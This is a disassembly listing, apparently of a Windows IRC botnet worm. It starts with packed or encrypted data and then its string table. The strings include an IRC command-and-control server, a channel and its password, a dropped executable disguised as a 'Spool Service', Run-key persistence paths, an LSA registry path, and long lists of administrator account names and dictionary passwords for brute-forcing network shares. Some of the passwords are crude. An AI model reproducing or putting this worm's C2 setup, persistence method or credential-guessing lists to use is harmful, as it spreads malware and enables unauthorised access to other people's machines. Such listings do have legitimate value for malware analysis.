		dd 14A4h, 0A467013Eh, 0A5E76FFDh, 12EF4635h, 9FD29B2Bh
		dd 0CE0000h, 0A4DDD0EBh, 0DB112B82h, 0E4BBFAEAh, 83755405h
		dd 11C0000h, 0C5A8C20Bh, 0A7AF8B75h, 87D0E340h,	0B539h
		dd 93DC0175h, 40B1F467h, 0A2526612h, 0BF6073h, 0B7B7007Eh
		dd 0AEFDA9A2h, 1E31E8C3h, 1C10000h, 0D9AF969Fh,	0C62B4E68h
		dd 0BE73938Fh, 96F086E6h, 0EA9B9F4Bh, 660000h, 0F13C9D26h
		dd 76C71CBEh, 34FBA058h, 0AFF136CDh, 0C0374A7Dh, 1AB0000h
		dd 49EACFCDh, 0B8630C4Eh, 953610D2h, 17BF610h, 3E4CF7B2h
		dd 77D115B7h, 0A9920869h, 14D99646h, 0A14EC43Dh, 550005h
		dd 4C1E1487h, 214080F6h, 0C64E4989h, 5D6D06BFh,	54784819h
		dd 2DF002Bh, 7A4CF34Ah,	9C94DF2h, 310011h, 0DBED416Bh
		dd 0B8719542h, 2E75F9C5h, 2180000h, 4B38128h, 4E3A31D7h
		dd 340000h, 4CB7A8B0h, 2F83640Eh, 0F36521h, 0FDE202A7h
		dd 5046FE64h, 7530D4F9h, 0D989DFCFh, 2D457h, 5AD6029Eh
		dd 0A25D768Eh, 0E4B5BB77h, 6306EC7Dh, 3352h, 2E150063h
		dd 9FC23DA1h, 5B4B7A8h,	6A0B84B8h, 0F70023h, 98945066h
		dd 6A68D7ADh, 0FD11C799h, 0CCF49785h, 4300C6h, 7B3B759h
		dd 72B621D4h, 0B25Dh, 0E82D016Eh, 224CDEFh, 5664E5C4h
		dd 6BC6DF12h, 0FB0000h,	557E6FC2h, 2FF1ED74h, 0B0F54543h
		dd 0FC18h, 8880112h, 0C17C6380h, 0C1096673h, 9000C9h, 0AC689571h
		dd 0D2B8ACFAh, 8A0022h,	60A82F27h, 84D167B2h, 4E2DCB3Bh
		dd 0B7E2B165h, 0E4A1E0BCh, 890000h, 0E12B5B31h,	0EFD57FBAh
		dd 0B44EA8FCh, 3D5805AAh, 0BE2FF8C9h, 3B2E8Dh, 9902009Dh
		dd 494BDD75h, 0B68C23B8h, 112118h, 19410094h, 0D78397E1h
		dd 5F682C28h, 0B734C541h, 26A0000h, 581916A9h, 73D57642h
		dd 935A79CBh, 9661h, 426A0241h,	372FDA4Bh, 520E9EDh, 37D01FEEh
		dd 80300308h, 98837Eh, 775502CCh, 931C2024h, 7F467318h
		dd 0DD373D8Ch, 4AA04998h, 73C256F2h, 0B80000h, 9EDD0BEFh
		dd 0B60E857Dh, 40C052A2h, 9C2D9F76h, 9103D21Ah,	8EBA67D2h
		dd 11B0000h, 3069225Ah,	0BBD12BB4h, 0E9EC4580h,	2060000h
		dd 7ADDE644h, 0C7FB1702h, 74B8CAEBh, 0FB7456CBh, 701808B5h
		dd 0C3EB8Ah, 0FB650207h, 0E9A396BEh, 93E55281h,	6CC95FD9h
		dd 7ED4B0D0h, 6E628175h, 80F308h, 3BC200B4h, 91923B40h
		dd 5394E65Ch, 10A0090h,	0DC81ADE6h, 90618179h, 0FC4DA0D2h
		dd 2C0B741Dh, 93FEA538h, 0B0BE92h, 1313019Fh, 7396629Ch
		dd 8991h, 53A00199h, 3829A6A3h,	14F78h,	66C30140h, 0DBC0E9D8h
		dd 0F1816DF5h, 748F75A0h, 2C70000h, 6093176Fh, 16BE6A23h
		dd 798B092h, 5339h, 0DE43021Ch,	809DF731h, 183BB1CBh, 0C1906938h
		dd 0BE0CD8h, 50C3015Bh,	54E46D3Dh, 370D3DBh, 82132Ah, 464300AFh
		dd 0C1E83112h, 0E6B2E6FEh, 0BACF256Eh, 1930000h, 81B7B435h
		dd 6CC632AFh, 34070851h, 18C0000h, 71B94772h, 74777ECAh
		dd 2042h, 954C02B0h, 286E282Dh,	0EF852171h, 4C34B691h
		dd 1D60015h, 77B0C6FCh,	96655F0Ah, 33E9F5C4h, 3500A6h
		dd 0B4BC21E5h, 0FE0CB9BBh, 7B72C456h, 0EFFD7ADEh, 0D193h
		dd 2A81026Ch, 32DD23CBh, 6457C164h, 1140086h, 0F78BFD43h
		dd 0E2E69h, 0D1DA03h, 99FE0080h, 8209B52h, 9180EAE5h, 0E6F5B73Dh
		dd 0AFADCE16h, 0DE3D2362h, 0A25BB4h, 0A3C302D2h, 7DF71C01h
		dd 0A0760B70h, 0A63089D3h, 0F6DBF883h, 1E4008Dh, 0B1206FF7h
		dd 0CAC21477h, 34C8CF0h, 4CB8DEC1h, 0D4E12Bh, 267302FFh
		dd 19E7967Fh, 570D7Dh, 0AAD8010Bh, 0B09F0552h, 48167D8Bh
		dd 0C8C703B0h, 77E7D648h, 1F90000h, 0B77750DDh,	0F0294C71h
		dd 4510EF3Eh, 1200077h,	2B48AB8Eh, 48B52469h, 5EA043B5h
		dd 0E5FA8B5Fh, 18D0000h, 5B7B4643h, 96F73A6Bh, 16187F56h
		dd 0F999A67Dh, 0DA1Dh, 634E01A2h, 77297699h, 0CB036FD1h
		dd 22F0071h, 2BEB16DEh,	0BDEAB4A5h, 1700079h, 0BEE0BB8Dh
		dd 0EC063582h, 0BDACB8C5h, 924DB648h, 124839E9h, 9475h
		dd 6F7F015Dh, 740392E4h, 9661A91Eh, 5806ECh, 0C7B20150h
		dd 0DDAD10C2h, 0D757A7A4h, 9CCE8153h, 0CA007Eh,	9C3EE24Dh
		dd 29587894h, 0E1B3E78h, 4BF03Bh, 0F2C30174h, 3990B6CBh
		dd 0EB460283h, 19D0000h, 0C493968Fh, 0F95C9552h, 8768CBh
		dd 3D0E019Bh, 6AE94AFDh, 5BBA0E6Ch, 2BF0000h, 12495179h
		dd 0A31B4814h, 0CC468Ch, 42F702BBh, 3C008F2h, 1FA31C77h
		dd 8A4Dh, 146D01B8h, 0CFB6EEE2h, 0EA8E3824h, 137540h, 4FFA00BFh
		dd 0FE435881h, 0CAC36Ch, 5E3400B9h, 10DBA3F3h, 1310000h
		dd 62982C22h, 44B3F77Eh, 20B0000h, 0F46F561Ah, 6DF683Ch
		dd 0BE999628h, 0FD2h, 13A901A3h, 7729C24Bh, 98D5h, 31EF01BFh
		dd 0F1878494h, 69709929h, 0F514h, 0C801C0h, 85C55538h
		dd 0ACB6BB13h, 9DDDh, 0B0CA02ADh, 44346203h, 91E62DB5h
		dd 4B5CF7EDh, 2979D84h,	87D99C75h, 138Fh, 890400B2h, 0DD5219CFh
		dd 58CE690Fh, 5F9BA34Ah, 88A3AAD0h, 9E743268h, 0B300C8h
		dd 5B901CDEh, 24925182h, 0B0809D80h, 60BE1841h,	67A26F7Fh
		dd 0C0EA95h, 5DFD0106h,	4B06D8B7h, 453CAB8Fh, 2F109314h
		dd 0EC639FCh, 0F6D395h,	0D7DB0108h, 0BD53239Dh,	8AB6C764h
		dd 676C71BEh, 0EBB663E9h, 4542325Fh, 26D0000h, 23122A9h
		dd 7811B61Eh, 8BB1DB4h,	0E843h,	0E9080152h, 0AA8A47B9h
		dd 744F575Bh, 4E2Ah, 0FA360115h, 64146777h, 0CD24469Ch
		dd 27C0045h, 0B3569FABh, 4355A712h, 77F22CBDh, 0AA0000h
		dd 4E310EFh, 4D9E7D4Ah,	0C1541C48h, 0D1C927D8h,	1530000h
		dd 0B459D116h, 5063F756h, 0DAF64D6h, 709Ah, 1D100156h
		dd 0E743FA15h, 62C916A5h, 934E82AAh, 28B0000h, 6CC25DE6h
		dd 3F6306E2h, 578BC8C4h, 0EEDA4E07h, 3F054C38h,	3D3FFEAAh
		dd 0ECB581h, 7D9A01B5h,	0B8D32751h, 0D12D9180h,	4C84h
		dd 7B9001B2h, 656C887Ah, 0D453B83Dh, 0B9B3h, 66470261h
		dd 5C9433D5h, 0C0E4E963h, 93B1h, 143E0021h, 0F80432E8h
		dd 0D9E5DD0Bh, 91C9F478h
		dd 220000h, 95DCF0BEh, 7919B97Ch, 1270B753h, 5DF5h, 0E5710262h
		dd 36096327h, 3014097Bh, 5ED9761Ah, 2FCCB233h, 0A71AA38Eh
		dd 9FC100CAh, 0AF6B5CC8h, 14868878h, 10D2h, 0BEh dup(0)
seg001		ends

; Section 3. (virtual address 00029000)
; Virtual size			: 000BA000 ( 761856.)
; Section size in file		: 000BA000 ( 761856.)
; Offset to raw	data for section: 00029000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg002		segment	para public 'CODE' use32
		assume cs:seg002
		;org 429000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_429000	dd 0				dd offset loc_40121D
		dd offset sub_401239
		dd offset sub_40D78E
		dd offset sub_40DAD1
		dd offset dword_40ECDC+1CEh
		dd offset sub_4265A4
dword_42901C	dd 0		dword_429020	dd 0				dd offset sub_41D6F2
		dd offset sub_4200D2
		dd offset sub_422563
		dd offset sub_4245B2
dword_429034	dd 0		dword_429038	dd 0				dd offset sub_422608
dword_429040	dd 0		dword_429044	dd 0		; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 45h,	42h, 0
dword_42904C	dd 0		dword_429050	dd 78h				align 8
dword_429058	dd 80000002h, 429150h, 80000001h, 429180h, 80000001h, 429150h
					; DATA XREF: start+7o
dword_429070	dd 6272h, 0C7ABh, 0F51hdword_42907C	dd 7E4h		dword_429080	dd 45h							; sub_40B9DD+3Br
dword_429084	dd 201h		word_429088	dw 7C7h			; DATA XREF: seg000:loc_404768r
		align 4
dword_42908C	dd 1		dword_429090	dd 1		byte_429094	db 78h			; DATA XREF: seg000:00402580r
					; seg000:0040263Ar ...
		align 4
dword_429098	dd 0Ch							; sub_40AC10+5Fr ...
dword_42909C	dd 1							; seg000:00401DF1r ...
aXxerooxx	db 'XxerooxX',0         ; DATA XREF: seg000:004012B2o
					; seg000:loc_4044A0o ...
		align 4
aXxerxx		db 'XxerxX',0           ; DATA XREF: seg000:loc_40496Fo
		align 4
aHi		db 'hi',0               ; DATA XREF: seg000:0040980Co
					; seg000:004098DBo
		align 4
aFreee_najd_us	db 'freee.najd.us',0
		align 4
aMss2		db '#mss2',0            ; DATA XREF: seg000:loc_41297Co
					; sub_412A79:loc_412A93o ...
		align 10h
aMss2pass	db 'mss2pass',0
		align 4
aFreee_najd_u_0	db 'freee.najd.us',0
		align 4
aMss2_0		db '#mss2',0
		align 4
aMss2pass_0	db 'mss2pass',0
		align 10h
aSpools_exe	db 'spools.exe',0       ; DATA XREF: seg000:00403B43o
					; sub_40B9DD+5Eo ...
		align 4
aWinntse_bat	db 'winntse.bat',0      ; DATA XREF: seg000:00412252o
aSpoolService	db 'Spool Service',0    ; DATA XREF: start+Eo
		align 4
aO1		db 'o1',0               ; DATA XREF: seg000:0040AC8Eo
		align 4
aWinntse_dat	db 'winntse.dat',0
aI_0		db '+i',0               ; DATA XREF: seg000:00409954o
		align 4
aO1_0		db '#o1',0              ; DATA XREF: seg000:00403813o
					; seg000:00404B58o ...
aM		db '#M',0               ; DATA XREF: seg000:00405EACo
		align 4
aM_0		db '#M',0               ; DATA XREF: seg000:00405BA9o
					; seg000:00405CF8o
		align 4
off_429148	dd offset a@k7o_net	; DATA XREF: seg000:loc_409868o
					; "*@k7o.net"
off_42914C	dd offset aMircV6_16Khale ; DATA XREF: seg000:004023C5r
					; seg000:00409884o
					; "mIRC	v6.16 Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A702+28o
					; sub_41AA26+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A702+D4o
					; sub_41AA26+D4o
		align 10h
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		align 8
off_429248	dd offset byte_443398	; DATA XREF: seg000:loc_40D8BCr
					; seg000:0040D8CDo ...
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_0		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc		; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_42FB78	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset a0_0		; "0"
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber_1	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
